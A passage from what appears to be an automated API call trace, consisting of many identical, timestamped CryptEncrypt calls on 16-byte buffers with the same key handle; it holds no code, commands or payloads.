(in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.261] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.262] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.263] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.264] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.265] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.266] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 